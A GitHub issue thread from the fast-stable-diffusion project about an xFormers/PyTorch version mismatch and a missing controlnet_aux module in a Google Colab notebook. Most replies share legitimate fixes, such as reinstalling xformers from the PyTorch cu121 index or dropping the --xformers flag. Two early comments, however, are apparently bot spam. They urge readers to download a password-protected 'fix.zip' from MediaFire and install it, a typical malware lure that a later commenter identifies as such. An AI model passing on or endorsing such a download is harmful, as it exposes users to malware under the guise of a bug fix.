fast-stable-diffusion icon indicating copy to clipboard operation
fast-stable-diffusion copied to clipboard

Google Colab Error

Open Bob85111 opened this issue 1 year ago • 19 comments

Received the following error. Looks like somebody updated something, and now the code doesn't work anymore. Any ideas on how to fix it? Seems like this happens ever three or four months

WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for: PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121) Python 3.10.14 (you have 3.10.12) Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers) Memory-efficient attention, SwiGLU, sparse and more won't be available. Set XFORMERS_MORE_DETAILS=1 for more details ControlNet preprocessor location: /content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/annotator/downloads *** Error loading script: controlnet.py Traceback (most recent call last): File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/modules/scripts.py", line 515, in load_scripts script_module = script_loading.load_module(scriptfile.path) File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/modules/script_loading.py", line 13, in load_module module_spec.loader.exec_module(module) File "", line 883, in exec_module File "", line 241, in _call_with_frames_removed File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/scripts/controlnet.py", line 16, in import scripts.preprocessor as preprocessor_init # noqa File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/scripts/preprocessor/init.py", line 9, in from .mobile_sam import * File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/scripts/preprocessor/mobile_sam.py", line 1, in from annotator.mobile_sam import SamDetector_Aux File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/annotator/mobile_sam/init.py", line 12, in from controlnet_aux import SamDetector ModuleNotFoundError: No module named 'controlnet_aux'

Bob85111 avatar Aug 26 '24 17:08 Bob85111

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/6mkbh6xhau31g password: changeme when you installing, you need to place a check in install to path and select "gcc."

Can confirm this error, kinda. My version is this:

WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for: PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121) Python 3.10.14 (you have 3.10.12) Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers) Memory-efficient attention, SwiGLU, sparse and more won't be available. Set XFORMERS_MORE_DETAILS=1 for more details

Not going to try a bunch of malware being pushed by bots.

HaikenEdge avatar Aug 26 '24 18:08 HaikenEdge

Same error here when trying to use dream booth:

WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for: PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121) Python 3.10.14 (you have 3.10.12) Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers) Memory-efficient attention, SwiGLU, sparse and more won't be available. Set XFORMERS_MORE_DETAILS=1 for more details Traceback (most recent call last): File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 803, in main() File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 519, in main unet.enable_xformers_memory_efficient_attention()

mdlieber99 avatar Aug 26 '24 18:08 mdlieber99

Same issues here. Last time I had an issue like this, it got cleared up within a couple days. I tried to install that through the extension tab, but didn't fix anything,

morningbowlai avatar Aug 26 '24 19:08 morningbowlai

A quick fix to generate images and ignore this error is to remove --xformers at the end of the code line of the Start Stable-Diffusion tab.

Example:

try: model if os.path.isfile(model): !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae --ckpt "$model" $auth --disable-console-progressbars --skip-version-check $ckptdir else: !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae --ckpt-dir "$model" $auth --disable-console-progressbars --skip-version-check except: !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae $auth --disable-console-progressbars --skip-version-check $ckptdir

danixen2 avatar Aug 26 '24 19:08 danixen2

Found from a discussion back in march that you can replace --xformers with --opt-sdp-attention. The interface loaded but its stuck trying to load the last prompt i had used.

jalva00T avatar Aug 26 '24 20:08 jalva00T

to solve the issue run this: !pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

aifantasyglam avatar Aug 26 '24 20:08 aifantasyglam

Thank you aifantasyglam, that's perfect =)

Azura-13 avatar Aug 26 '24 23:08 Azura-13

love you aifantasyglam

BlessedDuelOP avatar Aug 26 '24 23:08 BlessedDuelOP

to solve the issue run this: !pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

one question - where should this be run? somehwhere in the Install/Update AUTOMATIC1111 repo?

thanks all!

  • ok decided not to be lazy and instead answer my own question since i've never played with this code much. 1- running this in my first choice, at the end of Install/Update AUTOMATIC1111 repo tossed few more errors from that cell but seemed to remove and reinstall xformers at the end. but still tossed the original error when starting SD, and choked in the UI. no luck

2 - next guess, running it in the requirements cell threw no errors after either cell, and UI is running back to normal - all good!

here's where i inserted it, in case it matters. this is the end of the code in the Requirements cell:

else: %env LD_PRELOAD=/content/gdrive/$mainpth/sd/libtcmalloc/libtcmalloc_minimal.so.4

inserted line

!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

!pip install controlnet_aux -qq --no-deps os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['PYTHONWARNINGS'] = 'ignore' !sed -i 's@text = _formatwarnmsg(msg)@text =""@g' /usr/lib/python3.10/warnings.py

clear_output() inf('\u2714 Done','success', '50px')

#@markdown ---

thanks as always!

g-imconfused avatar Aug 27 '24 01:08 g-imconfused

I put it just above [6] Download Lora

Add Code, Copy and paste.

Azura-13 avatar Aug 27 '24 01:08 Azura-13

to solve the issue run this: !pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

one question - where should this be run? somehwhere in the Install/Update AUTOMATIC1111 repo?

thanks all!

  • ok decided not to be lazy and instead answer my own question since i've never played with this code much. 1- running this in my first choice, at the end of Install/Update AUTOMATIC1111 repo tossed few more errors from that cell but seemed to remove and reinstall xformers at the end. but still tossed the original error when starting SD, and choked in the UI. no luck

2 - next guess, running it in the requirements cell threw no errors after either cell, and UI is running back to normal - all good!

here's where i inserted it, in case it matters. this is the end of the code in the Requirements cell:

else: %env LD_PRELOAD=/content/gdrive/$mainpth/sd/libtcmalloc/libtcmalloc_minimal.so.4

inserted line

!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

!pip install controlnet_aux -qq --no-deps os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['PYTHONWARNINGS'] = 'ignore' !sed -i 's@text = _formatwarnmsg(msg)@text =""@g' /usr/lib/python3.10/warnings.py

clear_output() inf('\u2714 Done','success', '50px')

#@markdown ---

thanks as always!

I run it above this part

image

aifantasyglam avatar Aug 27 '24 06:08 aifantasyglam

Everyone, I would like to take advantage of this thread and ask something

anyone knows how to solve this issue ?: https://github.com/Gourieff/sd-webui-reactor/issues/483

aifantasyglam avatar Aug 27 '24 06:08 aifantasyglam

Same error here when trying to use dream booth:

WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for: PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121) Python 3.10.14 (you have 3.10.12) Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers) Memory-efficient attention, SwiGLU, sparse and more won't be available. Set XFORMERS_MORE_DETAILS=1 for more details Traceback (most recent call last): File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 803, in main() File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 519, in main unet.enable_xformers_memory_efficient_attention()

FOr Dreambooth go to "Dependencies", show code and scroll down to the bottom of the code. Modify the last lines so you get something like this (note the added xformers install):

else:
    %env LD_PRELOAD=/content/gdrive/MyDrive/sd/libtcmalloc/libtcmalloc_minimal.so.4
    
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
os.environ['PYTHONWARNINGS'] = 'ignore'
!sed -i 's@raise AttributeError(f"module {module!r} has no attribute {name!r}")@@g' /usr/local/lib/python3.10/dist-packages/jax/_src/deprecations.py

The-Great-Nothing avatar Aug 27 '24 14:08 The-Great-Nothing

Hi everyone, I got a new error related to the previous, does anyone know anything about it...?

image

aifantasyglam avatar Aug 28 '24 07:08 aifantasyglam

hmm, now the start up on the colab page is fine (with the extra line of code from aifantasyglam - thank you!). but now when I try to open the public url I get a '504 gateway time-out' error

mdlieber99 avatar Aug 28 '24 12:08 mdlieber99

Yep, gradio is down this morning.

On Wed, Aug 28, 2024, 5:41 AM mdlieber99 @.***> wrote:

hmm, now the start up on the colab page is fine (with the extra line of code from aifantasyglam - thank you!). but now when I try to open the public url I get a '504 gateway time-out' error

— Reply to this email directly, view it on GitHub https://github.com/TheLastBen/fast-stable-diffusion/issues/2913#issuecomment-2315212829, or unsubscribe https://github.com/notifications/unsubscribe-auth/BKWECTGID3EYKAXMOK2GRJ3ZTXANVAVCNFSM6AAAAABNEPL6Z6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJVGIYTEOBSHE . You are receiving this because you commented.Message ID: @.***>

g-imconfused avatar Aug 28 '24 13:08 g-imconfused

gradio back online now

g-imconfused avatar Aug 28 '24 16:08 g-imconfused

Same issue here - Automatic 1111 was working fine in Colab on my MacBook Pro M1 until a few days ago and now this exact same xformers error which will launch the SD UI but delivers an error message when trying to generate anything.

Is there a simple fix for this that doesn't involve using the Terminal on a Mac that won't screw things up further?

(I can of course install SD in my local machine but it's very slow and eats up drive space and it doesn't require xformers to run properly.)

HappyRobotLtd avatar Aug 29 '24 14:08 HappyRobotLtd

to solve the issue run this: !pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121

Notice that without running the command, Web UI could still be started up successfully.

Test Env: Google Colab, L4 GPU Test Time: 2024/9/26

Ratherman avatar Sep 25 '24 23:09 Ratherman